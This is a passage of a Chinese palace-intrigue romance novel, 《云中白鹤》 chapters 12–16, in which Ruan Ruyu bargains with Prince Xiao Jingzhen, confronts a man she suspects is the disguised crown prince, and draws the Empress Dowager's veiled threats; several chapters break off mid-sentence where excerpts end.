游刃拔剑做了一个砍头的手势,“不如,杀之。” “不可,杀了一个裴义,还会有千千万万个裴义,你杀的过来吗?太后娘娘若是铁了心想用新人,杀是绝对杀不完的,裴义眼下刚从涅槃寺出来,羽翼未丰,又是太子旧人,朝中想要他死的人应该不少,用不着本王出手,自然就会有人迫不及待。” 游刃奇怪道,“我不明白,太子名声一向不错,往日朝中官员对他也算亲厚,裴义既然是太子旧人,他们就是看在太子的面子上,也该护着他些,为什么反而还要杀他呢?” “哼,游刃,你说,太子死得冤不冤枉?” “冤啊,自然是冤的。” “这不就得了,咱们都知道太子是冤枉的,朝中那些老油条又怎会不知呢,可他们当初并未为太子求情,落井下石者更是不在少数,你说这是为什么?” 游刃思忖半日,摇了摇头,“还请主子赐教。” “水至清则无鱼啊,太子一不结党,二不营私,人人都赞他一句好,可人人都没把他当自己人,孤家寡人做到最后,要么名垂青史,要么死于非命。” 两三片碎雪落在他的绒纻风领上,他抬手拂去,忽地叹了口气,“随之是个好人,可惜,他不该生在帝王家,岂不知,匹夫无罪,怀璧其罪。”[1] “主子先别可怜他了,还是先想想自己吧,裴义既然出来了,就肯定不会善罢甘休的。” 萧景珃拢衣而起,绕着游廊缓慢踱步,“嗯,让本王想想,让本王好好想想……” 游刃跟着着急,“主子,裴义从前和太子关系那么要好,太子不明不白地死了,他怎么可能不记恨主子呢?” 萧景珃闻言,紧缩的眉头忽而舒展开来,“你倒是提醒我了,太子生前和裴义私交甚好,就凭这个,裴义也不可能全心全意地为太后所用。” “当年太子谋逆一案,虽然是太后娘娘在背后操纵一切,可是事儿可都是主子您去做的,太后要是咬死了主子,主子又当如何?” “谁说事儿都是本王去做的了?” “啊?”游刃一愣,“不是吗?” 萧景珃负手而立,漆黑的眼眸中沉着点点微芒,“太后不想脏了自己的手,就把本王推出去,替她干这些脏事烂事,可本王也不是傻子,明哲保身的这一套,本王可比她更明白。” “主子的意思是?” “叫他们查去吧,无论他们怎么查,本王都和这件事儿一点关系都没有,没准儿,本王和裴义还能化敌为友,殊途同归呢。” 游刃虽然听不懂,可看见自家王爷这么笃定的样子,他还是松了一口气,“主子这样说,游刃也就放心了,只是主子帮太后办了那么多事,如今却还只是一个王爷,实在是不划算。” “是啊,本王也觉得不划算,可本王又能怎么办呢……” 这时候,门上守卫忽然来报。 “王爷,阮姑娘和文姑娘来了。” 萧景珃眼睛一亮,“你说谁来了?再说一遍。” “回禀王爷,太学乐师阮如玉,还有太学祭酒之女文南求见王爷。” “快请。” “是。” 萧景珃微一抬指,“游刃,我有办法了。” 阮如玉和文南二人绕过曲复石径,拨开郁郁红梅,忽觉天地疏阔,白烟袅娜,中有一亭,卧于池中,萧景珃正慵懒地憩在亭中竹椅之上,听见人声,他散漫抬眼,含笑看着二人。 “寒舍鄙陋,能得两位贵人亲顾,本王可真是荣幸啊。” 二人行礼,阮如玉道,“王爷过谦了,谁人不知襄阳王的府邸乃是皇上御赐,奢侈华贵得很,若是王爷还要自称寒舍,我们岂不是都住进山洞里去了。” “哈哈哈,许多日子未曾见过阮姑娘了,今日一见,还是这么口齿伶俐呀,阮姑娘此行定是有事找我吧,说吧,什么事。” “太学最近在整理书籍名录,臣女查阅之后,发现其中有几本被王爷借走了,所以冒昧打扰,如果王爷看完了,还请暂时归还 12. 成交 《云中白鹤》全本免费阅读 琼华拂面,雪气萦然,阮如玉面容清丽,怡然而立,可萧景珃却从她的眼中看见了决非一般女子所能具备的果敢顽强,他不由得敛了敛神色。 “你来找本王,是因为你想为太子翻案,是不是?” “是。” 萧景珃微一颔首,“很好,那么,请阮姑娘给本王一个理由,本王为什么要帮你做这种吃力不讨好的事情呢。你既然查出了太子一案的始末,便该知道,本王虽然没有直接插手,但许多事情,本王亦是牵涉其中,本王帮你,不是自毁根基吗?” 阮如玉似退还进,“王爷能给臣女一个不愿出手相帮的理由吗?” “姑娘这么说就没意思了。” 阮如玉微微一笑,侃侃而谈,“王爷没有不帮臣女的理由,眼下太子已死,可东宫空置,悬而未立,王爷当初和太后联手,不就是为了这个太子之位吗,可是三年过去了,王爷得到什么了呢。皇上膝下子嗣众多,若论出身,姜夫人眼下虽然颇得圣心,可王爷自己也该知道,帝王的喜爱总是不长久的,太后娘娘一直提防着王爷,王爷也该为自己另谋出路了。” 萧景珃好整以暇地看着她,浅笑,“什么出路?” “臣女用了三年时间,比肩太学一众男子,授业解惑,自成一馆,王爷应该相信,臣女有这个能力,再用三年时间名列卿相,位比朝臣。” 萧景珃脸上的玩世不恭一扫而逝,他认真端详着阮如玉,试图从她脸上看出个究竟。 阮如玉神情坦然,“王爷在看什么?” “本王在看,这么一个不染纤尘的绝色美人到底生了一颗怎样的七窍玲珑心,这颗七窍玲珑心又能护你到几时。” 他阖眼长叹,掩住眼眸深处流露出的不忍与无奈,“阮如玉,你可知道,你给自己选了一条怎样的路,你将要面对的又是什么?太学,那是已故太子萧景衍推行而成的,虽然如今已经逐渐没落,失了设立之初的本心,但毕竟是读书人的地方,没那么多的尔虞我诈,朝堂不比太学,旦夕祸福,生离死别,有时候,就是一瞬间的事情。” “王爷说得很是,朝堂的确并非心思澄澈之人所该踏足的,只是,臣女早已经不是从前那个不染纤尘的阮如玉了,随之身死江北,从前的阮如玉也已经跟着他去了。”阮如玉一字一顿,“如今站在王爷面前的,是太学乐师,乐经博士,阮氏,如玉。” 萧景珃思忖良久,沉吟道,“不妨说说看,你想如何与本王合作?” “皇上最近醉心诗书,着人整理古籍孤本,中书省的人都忙着操办此事,中书舍人之位多有空缺,臣女希望王爷能够说动皇上,从太学之中拔擢人才,以补此缺。” “中书省,那可是奏章起草呈召之处,素有参事议政之权,可不是那么好进的。” “我知道,可是不管有多难,我总要试一试,倘若我尽了所有的力量,却依然未能成事,我也没有遗憾了。” 萧景珃微微有些动容,“本王最多劝谏皇上从太学拔擢补缺,可是怎么选,选谁,本王可说了不算。” 阮如玉面上一喜,屈膝道谢,“臣女谢过襄阳王。” “欸。”萧景珃抬了抬手,“先别急着谢,本王还没说答应你呢。” “王爷放心,事成之后,臣女定会竭尽所能,为王爷打探圣意,助王爷登上太子之位。” “本王凭什么相信你。” “臣女并非言而无信之人,三年之前,我们不是合作得很愉快吗。” 萧景珃垂眸转了一圈手上的象牙扳指,末了一笑,“这样吧,本王再加上一个条件,阮姑娘若是答应了,本王就同意与你合作。” “王爷请讲。” 萧景珃似笑非笑,缓声说道,“两姓之好,莫过联姻,本王没有妻室,姑娘也尚未婚配,这可不是天造地设的一对吗,姑娘以为如何?” 阮如玉怔住,“王爷……” 萧景珃抬眼打量着她,仿佛在打量一个唾手可得的猎物,“阮姑娘,你可不要同本王说,你不知道本王对你的心思,三年前,本王就问过你,太子已死,姑娘何不另择良人?那时,你同本王说,三年孝期,你不敢不遵礼法。好啊,如今三年孝期已过,你,是不是该给本王一个说法了?” 阮如玉不自觉地攥住自己袖袍一角,她的指尖微微泛白,依稀可闻风中帛裂之音。 随之,我该怎么办…… 不知为何,她的脑海中浮现出了“裴义”的模样。 她又一次想起了昨晚那个梦境。 萧景珃的脸上瞧不出一丝一毫的喜怒,他悠悠开口,道,“本王从来不愿勉强别人,姑娘若是不愿意的话,只当本王没有说过方才的话就是了,不过,合作一事,也就罢了吧,我去取书,姑娘在此稍待片刻。” 说罢,他推开书房的门,只身而入。 文南见他走了,连忙跑了过来,她瞧着阮如玉苍白的脸色,关切道,“如玉,你怎么了,襄阳王和你说什么了?” 阮如玉脑中思绪很乱,一会儿是萧景衍的月眼星眸,一会儿又是萧景珃的凉薄笑意,她看着文南的唇瓣一张一合,却根本听不见她在说什么。 文南拉起她的手,意外发觉她的指尖冰凉,几乎毫无温度,不由得慌了神,颤声道,“如玉,你别吓我,你到底怎么了?” 阮如玉后知后觉地回过神来,她从文南手中抽出自己的手,摇头道,“没,没什么。” 萧景珃取了书卷,复又掩门出来,阮如玉盯着他身后关上的房门,抿唇不语。 “喏,你要的东西。” “谢王爷。” “时辰不早了,本王吃多了酒,等下要歇一歇。” 说着,他扬手招呼游刃过来,“送两位姑娘出去吧。” 文南其实是不愿离开的,她心系萧景珃,只是碍于文氏嫡女的身份,一直不敢宣之于口,好不容易有了这么一个堂而皇之的理由,还没待上多长时间,就要被主人家关门送客了。 眼看阮如玉没有要多逗留的意思,文南只得屈膝道,“家父一直很仰慕王爷才学,还望王爷得空的时候,来文府坐上一坐,臣女愿备薄茶,恭候王爷尊驾。” 萧景珃挑了挑眉,笑道,“是吗,不瞒文姑娘说,本王压根儿没读过几本书,才学二字,本王实在是受之有愧。” 萧景珃生母姜氏并非世家大族出身,只因素善歌舞,以此博幸 13. 智巧 《云中白鹤》全本免费阅读 回去的路上,阮如玉和文南共乘一车。 日光之下,马额上的金缕饰当卢浮尘微漾,街上行人熙来攘往,络绎不绝。 阮如玉凭窗而望,思绪混沌。 方才,她同萧景珃说,她已经查到了杀害太子的真凶,可事实上,她并不知道究竟是谁杀了太子,她这样讲,不过是想试他一试。 萧景珃一直是她怀疑的对象,毕竟太子死后,一众皇子之中最得意的就是他了。 太子禁苑巫蛊谋逆,三千学子血溅青溪,桩桩件件可不是都有他萧景珃的身影。 可她还是有些疑心的。 与其他皇子不同,萧景珃生母卑微,他的母族根本给不了他任何支持,可他却顶着不算高贵的出身,从一众皇子之中脱颖而出,成为最有希望夺得太子之位的人,由此可见,他的心计颇深,并非只知游山玩水的等闲之辈。 既如此,他又怎么会让自己成为众人口中的众矢之的呢。 而今,阮如玉终于确定,太子一案的背后主使绝非萧景珃,否则,他断不敢和自己合作。 那么,不是他,又会是谁呢? 寒风袭面,阮如玉依稀记起了萧景珃身上的萦然酒气,难道是她—— 贾太后,贾惜柔。 都说人如其名,可贾太后其人可和“惜柔”二字扯不上半点关系。 她妙龄入宫,没几日,先帝便驾崩了,她膝下没有一儿半女,可最后,却是她成了太后。 贾太后少时守寡,年纪太轻,偏偏自己也不尊重,每日缱绻宫闱,乐于收集各色面首。 大梁皇帝萧寰当初是在贾太后的倾力扶助下才登上帝位的,所以,他面对贾太后的种种荒唐行径,始终听之任之,不加干涉,由着她胡作非为。 思及此处,阮如玉微微蹙眉。 自从太子死后,太后娘娘对这位襄阳王表现得很是亲络,每逢年节,都要钦赐酒水糕点,阮如玉从前觉得,这二人一定是沆瀣一气,狼狈为奸。 可她做了三年太学乐师,孤身前行,周旋良久,她渐渐明白了一个道理,倘若真心想对一个人好,往往不会宣之于口,而是藏于己心。 她对太子,即是如此,哪怕谣言诽语甚嚣尘上,亲友故交议论纷纷,她也全然不在乎。 贾太后对萧景珃,看似器重,实为捧杀,这个道理,阮如玉明白,萧景珃又何尝不明白。 与其说,今日阮如玉同萧景珃所谈论的是一桩交易,不如说,这是一场豪赌。 赌的,便是萧景珃的野心。 他决非甘心久居人下之人,他与太后,终有一战。 事实证明,阮如玉赌赢了。 不过,这个代价是不是稍微大了点? 阮如玉扶额长叹,这一个不小心,就把自己给搭进去了…… 她只得安慰自己,眼下也顾不了这许多了,索性只是婚约,又不是要立刻嫁给他,车到山前必有路,她相信自己到时候总会有办法脱身的。 “吁——” 忽闻一声长嘶,驾车之人疾速勒马,车内的阮如玉和文南没有防备,险些仰倒过去。 文南厉声呵斥,“怎么回事?” “文姑娘,前头被围得水泄不通,只怕一时半刻是过不去了。” 文南欠身瞧了一眼外面的情况,果见摩肩接踵,寸步难行,她疑惑道,“这可是建康城中最为宽敞的大道啊,好好的,怎么会挤成这样?” 车夫道,“我听前头的吵嚷声,似乎是杜氏子和韩氏子的马车迎面相遇,两位公子谁也不肯相让,在大街上当着众人的面就吵了起来,这才害得大家都堵在这儿了。” 阮如玉道,“这路如此宽敞,即便是两车并行,也不是什么难事啊,何至于此?” “阮姑娘有所不知,他们都想从路的正中央过去,要对方把车马往边上挪一挪,结果谁都不肯退让半步。杜氏子杜锦和韩氏子韩仕昌都是不肯让人的主儿,平日碰在一起,也总要分出个高低胜负,如今这么多人看着呢,他们自然更跋扈了。” 文南气愤道,“真是岂有此理,让我去骂骂他们,看他们还讲不讲道理!” 阮如玉连忙拉住,“你忘了杜锦是什么德行了?我和他昨日才在太学吵了一番,这会子,你去找他岂不是火上浇油。” “那怎么办呀,总不能由着他们在前头胡闹吧,这还让不让人过去了。” 阮如玉稍作思忖,“我记得另一位韩氏子是个生意人吧?” 文南点头,“是啊,六大家中,只有韩氏一族是靠商贾之道起家的,虽然说士贵商贱,可架不住人家有钱呀,这年头,有钱的就是大爷。韩氏靠着丰厚的嫁妆,将女儿嫁进了贾氏,如今也风光得很呢,不过我听说,贾氏对这个嫁进来的韩氏女可不怎么样。” “又想要人家的金银,又想要清贵的名声,贾氏之举才是真的让人不齿。长门一纸赋,何处觅黄金,我倒觉得,世家高门究竟是瞧不起商贾之流,亦或是嫉妒他们,还未可知。”[1] “嘶,你说的倒也有些道理。” 阮如玉望着不远处的芳菲楼,微微一笑,“文南,我有办法了。” “啊?什么办法?” “等会儿你就知道了。” 阮如玉招呼车夫上前,仔细吩咐了一番,车夫应声而去,不一会儿,前面道路果然渐渐疏散开来,车夫笑着回禀,“真让阮姑娘说着了,杜韩两家各退一步,如今已经无事了。” 文南惊讶不已,拉着她的手问道,“如玉,你快和我说说,你是怎么做到的?” “其实很简单,这芳菲楼是韩氏的产业,来来往往的客人堵在这里,损的是韩氏的利益,我听说这个韩氏子韩仕昌是个脑瓜活络之人,最喜欢的就是和钱打交道,他知道耽误了自家赚钱,自然便肯让出一步了。” “那杜锦呢,他一向嚣张跋扈,可不是什么好说话的人。” “他呀。”阮如玉掩面笑将起来。 “诶呀,你别笑呀,快说快说。” 阮如玉伏在她的肩上,小声笑道,“我让人去和他说,芳菲楼里的娥娘有了身孕了,他听了这话,怎能不着急上火,若是让杜大人听说了这件事,皮不揭了他的。” 文南听得瞪大了眼睛,“这都行?如玉,可真有你的,那你就不怕他不信吗?” “信不信,去看一眼就知道了 14. 行止 《云中白鹤》全本免费阅读 阮如玉同文南作别,小菁扶她下了马车。 一位白胡子老翁迎了出来,阮如玉表明来意,老翁便引她进了裴府大门。 裴家毕竟是出过皇后的世家大族,自然不比寻常人家,阮如玉一路行来,只觉府中气象堂皇,园林华美,重阁亭廊,疏落有致。 她心道,都说裴家自从裴皇后逝世后就大不如前了,如今看来,裴家宅院却也不比襄阳王萧景珃的府邸逊色多少嘛,可见,传言不真。 “老人家如何称呼?” 老翁笑容和蔼,“我姓白,从小跟着家主,如今一把年纪了,大家都叫我白叔。” “白叔气色不错,可见裴大人对下人应是很宽和的。” “那是自然,家主性子温厚,人家都说老太爷的几个孩子里,只有家主最得老太爷遗风。” 裴家老太爷便是已故裴皇后的父亲,这么算来,裴义和萧景衍之间除了君臣情分,更有血亲之谊,难怪二人宛如兄弟一般,关系十分要好。 “那么裴侍郎呢,白叔觉得他是一个怎样的人。” “这……”白叔脸上露出为难的神色,他笑了笑,说,“我一个做下人的,怎么好背后议论主人家。” 阮如玉觉得有些奇怪,若是不能贬损,夸上几句也就是了,如何连说也不敢说。 白叔似乎看穿了她的心中所想,还没等她问,便道,“实不相瞒,公子这次回来,脾气性情都大不相同了,莫说我了,就连家主和夫人平日里也都远着凌云苑,姑娘等下自己瞧瞧就知道了。” 白叔把话说到了这个份上,阮如玉也不好再问。 她在林间小径上缓步走着,冬末岁初,林间树木的叶子都快掉光了,唯有几棵长青松柏,茕茕而立,她抬眼望着碧蓝的天,恍惚间仿佛听到了清彻梵音。 “府中可是有人在焚香礼佛吗?” 白叔笑道,“夫人崇敬佛法,家主便为夫人在府中设了佛堂,以供夫人诵经祝祷。” 裴家与阮家有些故交,阮如玉从前因是太子许嫁之人,也在宴会上同裴家夫人打过两次照面,瞧模样,她的确是个心慈面软之人。 “等下我同裴侍郎议完了事,可否也去佛堂上一支香?” “这样的事,姑娘且容我禀过夫人,可好?” “当然,我等白叔的消息,若是不方便,也无妨的。” 白叔忙道,“怎么会不方便呢,不过是怕姑娘来得匆忙,夫人没有准备,招待不周罢了。” 阮如玉也不多说,只是笑着点点头。 说话间,几人已经走到了凌云苑。 阮如玉抬眼往去,微微有些错愕,不同于方才的繁复景致,凌云苑所在之处,显得十分冷清,那些金银漆彩一概不见,取而代之的是朴素至简的黑白二色。 “裴侍郎一直都住这儿吗?” 白叔语气中颇有几分无奈,“是啊,公子从小就不喜欢和家中的弟弟妹妹打交道,不顾家主和夫人的劝阻,非要搬到这里,怎么劝都劝不住啊。” 若是从前,阮如玉听了这话,也便信了,只是如今,她见过些人心险恶,突然就对这个裴家大公子生出了些许同情。 哪个小孩子会不喜欢热闹呢,他从小就没有亲生母亲的照料,又被自己的骨肉至亲排挤至此,也算可怜了。 这么一想,阮如玉对“裴义”的怨怼似乎少了许多,她之前不喜欢他,是因为她怀疑他杀了她的随之,后来,她虽然相信了“裴义”的话,但她还是恨他没能保护好自己的心上人。 虽然她知道裴义并没有誓死护住萧景衍的义务,她的恨也没有那么理所应当,但她没有办法不恨裴义,感情的事,往往就是这么不讲道理。 凌云苑的院门虚掩着,白叔似乎没有送她进去的意思,胡乱找了个由头就告退了。 阮如玉瞧着白叔匆忙而去的背影,忽然觉得有些好笑。 裴义呀裴义,你可知你家里人怕你怕成这样? 阮如玉轻轻叹了口气,抬手推开院门,待瞧见里面的景象时,她不由得怔了一怔。 凌云苑黑瓦白墙,脊饰朴远,富贵气象,一洗全无,就是这么一个不见半点色彩的所在,墙角却有一枝红梅凌寒盛放。 她走近两步,只觉梅香扑鼻,记忆也被拉扯着回到了许久许久以前。 小菁没留意她的神色,看了一圈,兀自抱怨道,“怎么连个人都没有呀,难道还要客人自己斟茶倒水不成?还有这院子怎么这么乱呀,也没个人打扫吗?” 阮如玉回过神来,“这院子……的确有些杂乱。” 卷云瓦当碎了一地,奇石零落,廊间挂着的墨色竹帘被扯得七零八落,不知从哪里掉下来的浮雕藻井拦腰断开,横在二人跟前。 这哪里是有些杂乱,这分明是……十分杂乱,已经快到了常人所能忍受的极限了。 阮如玉想,若是文南在这儿,肯定会大喊一声,“裴义,你给我出来!” 她笑着摇摇头,“收拾收拾,找个差不多的地方坐下吧。” 小菁无语,只得扶起倒在地上的竹椅,“姑娘将就坐坐。” 阮如玉才要落座,忽听屋中传来几声呓语,“行止!行止!” 行止? 她微微蹙眉,在她的印象中,“行止”应该是裴义的小字。 他为什么要在梦里喊自己的小字呢? 一旁的小菁更无语了,“天底下怎么会有这么自恋的人,做个梦还要唤自己的名字。” 阮如玉没有答言,她敛着袖袍,走到窗下,透过有些破损的直柩窗格,她瞧见了“裴义”。 “裴义”披着大氅,斜卧在地,因为没有带冠,如瀑的墨发逸散开来,仿佛一朵盛开的墨色莲花,看样子,他应该是睡着了,只是睡得并不安稳,时不时就要喊出几句梦话。 阮如玉凭窗而立,静静听了一阵,他说话的声音很轻,她隔得远,听得不甚真切,但是“行止”二字,他确是反反复复喊了许多遍。 阮如玉望着他在梦中依旧紧锁不展的眉头,陷入沉思。 裴义,你真的是裴义吗…… “行止!” 萧景衍大喊一声,猛地从梦中惊醒。 又做噩梦了…… 他叹了口气,正要起身,却忽然看见了窗外的阮如玉。 二人四目相对,久久不能言语。 萧景衍张了张嘴,“你——” 阮如玉看着他的眼睛,微微一笑,“裴侍郎,你能告诉我,行止是谁吗? 15. 雾色 《云中白鹤》全本免费阅读 阮如玉檀口微启,她的声音很轻,像是随风飘泛的飞雪,“从前的我很贪玩,有一次,我要摘一枝长在崖侧的红梅,随之说,他帮我摘,可我不依,非要他抱着我摘。” 萧景衍眸间浮上一抹雾色,他阖上眼,“姑娘和我说这个做什么?” 阮如玉垂眸望着满地寒酥,“我记得,那天下了大雪,山路很滑,几乎寸步难行,我不小心摔了下去,随之紧紧地抱住我,替我挡下了所有的伤,就这样,我们一路滚到山脚下,我毫发无伤,连衣裳上的花纹都没有刮破一点,可随之手腕上却留下了一道长长的疤痕。” 她哽咽道,“我要他去治伤,可他却不肯,他说,这是他爱我的痕迹,他要留住这道疤,就像,他要留住我一样。” 萧景衍的手轻轻颤了一下。 “随之和你说过这件事吗?” “没有。” 他想抽回自己的右手,却被她牢牢扼住,半点动弹不得。 阮如玉蓦地挽起他的衣袖,声泪俱下,“你告诉我,你手腕上的这道疤痕是怎么回事!” 萧景衍睁开眼,唇角挂着一丝浅淡笑意,“阮姑娘,你看错了吧,我的手腕上干干净净,哪有半点伤痕?” 阮如玉怔住,她方才笃定了他就是随之,所以连看都没有看一眼。 如今听他这么一说,她垂眸看向他洁白的手腕,上面果然没有半点受过伤的痕迹。 “怎,怎会如此……” 萧景衍稍一用力,挣开了她的手,他挽起自己左侧的衣袖,温声道,“姑娘看清楚了,我的两只手腕上都没有你所说的疤痕。” 他的喉结滚动了一下,一丝轻叹没入望不到尽头的皑皑白雪,“阮姑娘,你认错人了。” 阮如玉细瓷般的脸庞上滑落几滴晶莹的泪珠,她红着眼睛,定定地看着他,“为什么……” 萧景衍勉力一笑,“阮姑娘,我知道你放不下随之,可是,他已经死了,早就已经死了。” 苦涩的泪水流入唇角,她深吸一口气,一字一顿,“不,我不信!” 他凝视着她几近崩溃的模样,心痛不已。 他多想一把抱住她,告诉她,长卿,我没有死,我回来了…… 但他不能。 裴义的尸身现在还埋在乱葬岗,三千士子血溅青溪的场景历历在目,他的太傅不知所踪,那些沉冤而死的亡魂还在等着他去昭雪。 大仇未报,谈何儿女情长。 他的确欠她良多,可他有所亏欠的又何止是她。 他能做的,就是尽可能保护她,不让她深陷危境,这样,即便有一天他真的死了,也不至于牵连到她…… “裴义,你不是羽林郎吗,你不是在狱中受过重刑拷打吗,你不是险些死在涅槃寺中吗,为什么,你的身上会如此干净,为什么,你连半点伤痕都没有!” 萧景衍不疾不徐,淡漠开口,“太后慈心,赐我伤药,皇上仁义,准我在家好生休养,等伤好了再去御前随侍,阮姑娘,这个理由,你可满意?” 阮如玉没有作声。 萧景衍的心跳得厉害。 其实,他撒谎了。 太后从未赐过他伤药,相反,太后赐他的是毒药,是能废人武功的毒药,可是萧景衍不是裴义,他压根就不会武功,所以,药效侵入他的五脏六腑,使他身体格外孱弱,每分每秒,都仿佛有无数只噬虫在他的体内撕咬,就连每一次呼吸,都是痛的。 旧伤快速痊愈,新伤又掩盖住累累旧伤,如此往复不休,这毒药唯一的好处,就是能使他的皮囊总有几个时辰湛然如新,光滑洁润。 良久,她松开他,仓皇后退半步,说了句,“抱歉,是我逾礼了。” 萧景衍凉唇微动,“没关系,我不怪你。” 一旁的小菁都已经看傻了,她瞧见阮如玉失魂落魄的模样,连忙上前扶住她,“姑娘?” 萧景衍侧首掩住眸底的痛色,“我去给姑娘沏杯茶。” 说罢,他快步离去,一滴泪水滑落他的颊侧,在他回身的那一刹那,啪嗒一声落在雪里。 阮如玉怔怔地望着他烹茶的背影,为什么,他们连烹茶时的举止都一模一样? 萧景衍递上雨过天青瓷盏,“阮姑娘,请用茶。” 阮如玉接过瓷盏,“谢谢……裴侍郎。” 萧景衍愣了愣,随即很快释然了,“不谢,姑娘今日找我,究竟为了何事,可是言老的下落有线索了?” 阮如玉抿了一口茶,点头道,“我可以确定,言老就在襄阳王的府邸之中。” “你见到他了?” “没有。” “那你是如何确定的?” “襄阳王不喜读书,可他这一二年却从太学借了许多古籍孤本,你说,这是为什么?” 萧景衍了然一笑,“除非,他的府中住着一位爱书之人。” “正是这个道理。” “在哪儿?” “十有八九,是他的书房。” “好,我知道了。”萧景衍长袖一礼,“谢谢你,阮姑娘。” 阮如玉轻轻摆手,“不必谢我,我又不是为了你。” 萧景衍又是一笑,却并未说话。 “芸娘之事,你查的如何了?” “有些头绪了,若是这几日有人去太学找你,还麻烦你转告我一声。” “为什么不让那人直接来裴府?” 萧景衍叹气道,“裴府里的耳目众多,我不想让别人知道我在追查此事,太学每日来来往往的学子无数,偶尔有个陌生人,谁也不会留意。” “行吧,那人多大年纪,什么容貌。” “二十上下,喜欢着黑衣,挽高髻。” “高髻?”阮如玉挑眉看他,“是个女的?” “是啊,姓花名姹。” 萧景衍瞧见她微妙的表情,后知后觉地反应过来,笑道,“怎么,你吃醋了?” 阮如玉白他一眼,“我吃什么醋,这和我有关系吗,莫名其妙。” “她同芸娘有些故交,又是大魏十步门中人,消息网罗之事,她做起来定是得心应手,我估摸着,要不了几日,她那边就该有线索了。” “行了行了,你不用和我解释这么多,花姹是吧,我知道了,我来找你还有一件事。” “你说。” “你是皇上身边的散骑侍郎,若要调出旧案卷宗,应该不是什么难事吧?” 萧景衍神情一肃,“你要做什么?” “我做什么不用你管,你只消告诉我,你愿不愿意帮我?” “我都不知道你要做什么,我怎么知道,我愿不愿意帮你?” 阮如玉无奈,“我要查案,这个案子,和随之的死有关系。” 萧景衍微微动容, 16. 寰儿 《云中白鹤》全本免费阅读 小菁连忙追了上去,口中喊着,“姑娘!等等我!” 阮如玉置若罔闻。 “裴义”的话在她的脑海里不停回荡—— 他也会耍手腕,也会要人命,你还爱他吗…… 阮姑娘,你爱的不是随之,而是东宫太子萧景衍…… 你知道吗,那个时候的随之有多吓人,像是,一个鬼…… 阮如玉提着袍摆,跑得飞快,仿佛跑得再快一些,她就可以将那些话远远甩在身后。 白叔正在不远处等她,见她这副模样,不由得吓了一跳,“姑娘这是?” 阮如玉看见白叔,连忙侧身拭去眼泪,她勉强笑了一笑,“风雪太大,迷了眼睛。” “哦。”白叔在裴家多年,极有眼色,也就不再多问,恭敬道,“夫人听说阮姑娘到访很是欢喜,不过,姑娘来得有些不巧,太后娘娘才下旨意召见夫人,夫人这不就得收拾收拾,赶紧准备入宫了嘛,只怕今日是不能招待姑娘了。” 阮如玉点点头,她眼下也没有心情去同裴夫人周旋了,于是笑道,“那就拜托白叔帮忙带声好吧。” 白叔笑着应了,又从袖中取出一个瑞鸟衔珠漆盒,“夫人说,这支金雀慕容是前日北魏使臣献给太后娘娘的,太后娘娘赏给了夫人,如今夫人转赠给姑娘,以示阮裴两家亲厚之意。” “多谢裴夫人,小菁,好生收着。” “是。” “那我就先回去了,裴夫人若是闲了,还请她来阮府小坐。” “一定一定,我送姑娘出去。” “有劳。” 裴府,静心堂。 孔雀翎仰莲纹青釉熏炉中,佛香轻袅,白烟逸散。 女子长裙拂地,围裳帛带,撷子髻上的金爵钗璀璨耀目,耳侧明珠珰轻微曳动,在采莲砖画上映出细碎辉芒,她合掌而跪,仰面望着龛中佛像,姿态十分虔诚。 此女,正是裴家继夫人,季诗婕。 侍女环佩进来回话,“禀夫人,那位阮姑娘已经走了。” “嗯,送走了就好。” 环佩不解,“夫人,太后娘娘不是请您一个时辰之后再入宫吗,眼下时辰尚早,您见一见她又何妨呢。” 季诗婕略一抬手,环佩连忙上前扶起她。 “我呀,还得留着心力应对太后呢,懒得在她身上花心思。” “瞧夫人说的,她不就是一个小女孩吗,怎能和太后娘娘相提并论。” “小女孩?”季诗婕冷哼一声,“你可不要轻看了她,且不要说她素有才名,小小年纪便已名动建康,如今,她又和襄阳王交好,还在太学有了一席之地,这样的女子,世间能有几个?” “夫人这么一说还真是的,您说,她找裴义所为何事呢?” “你问过白叔了没有?白叔怎么说?” “夫人您还不知道他吗,心里眼里只有家主,想从他嘴里打听点事情可不容易。” “这个老东西。”季诗婕扬了扬眉,“罢了,我现在也没心思管这些,环佩,你去命人备好车马,咱们这就入宫吧。” “啊,这么早呀。” “咱们这位太后娘娘的脾气可不大好,宁可早些,也别迟了。” 怡梦宫。 贾太后斜卧在芙蓉榻上,背倚隐囊,手扶额翠,她的双眼微眯,似乎正在小憩。 周寺人迈着碎步,轻手轻脚地过来查看,见她还睡着,他只得又小心退了出去,才退到门外,忽听贾太后悠悠开口,“什么时辰了?” “回娘娘,未时了。” 贾太后慵懒抬眼,“哀家今日是不是传了裴家夫人进宫?” “是,裴夫人已在殿外候着了。” 贾太后轻轻“嗯”了一声,“传她进来吧。” 她枕侧的男子闻言便要起身,却被她一把按住,“别动。” 男子只得垂首称是。 “吟泉,你扶哀家去正殿。” 季诗婕见贾太后出来了,连忙行礼,“太后娘娘千秋万岁。” “起来吧,吟泉,赐座。” “谢娘娘。” 季诗婕笑道,“不知娘娘召见妾身,所为何事?” “也没什么要紧事,有些日子没见你了,哀家瞧你的气色倒是不错。” 季诗婕宛然一笑,“有劳娘娘记挂,妾身一切都好。” 贾太后漫不经心地扫她一眼,“裴义的身子养得怎么样了?” 季诗婕见问,忙道,“不瞒太后娘娘,义儿这次回来,性子古怪得很,妾身不敢亲近,也不知他的身子如何了。” “这就是你的不对了,怎么说他也是你的儿子,你这个裴家夫人当得可不怎么称职呀。” 季诗婕面有赧色,“是,那妾身以后多关心关心他就是了。” “这才对嘛,既为一家主母,就应该有容人之量。” “太后娘娘教诲的是,妾身都记住了。” “裴义在家养病的这段时间,和谁走的比较近呀?” “义儿这几日不怎么着家,妾身也没留意他去了何处,不过今日,阮氏之女阮如玉倒是来府中找过他,可他们具体说了些什么,妾身就不知道了。” “阮如玉?”贾太后轻声呢喃,“这个名字怎么这么耳熟呢,哀家仿佛听谁提起过。” 周寺人道,“娘娘您忘了,她是先太子的许嫁之人,当初还来宫中拜见过您呢。” “哦,哀家想起来了,后来襄阳王举荐的那位也是她吧。” “是。” “还真是个不安分的,阮,如,玉,她家可有谁在朝为官呀?” “阮氏一族自诩清流,三代之内并无在朝之人。” 贾太后叹了口气,“这倒是不好办了,哀家倒还不屑于对一个小女孩动手,裴夫人呀。” “妾身在。” “你们两家关系一向不错,你若是见到了她,也该提点着些,女孩子家家的就该绣绣花呀,弹弹琴呀,怡情养性,也就是了,何必非要涉足朝政,到最后,连怎么死的都不知道。” 贾太后说话时的语气轻飘飘的,可吐出来的字却是寒如冰霜,锋如刀剑。 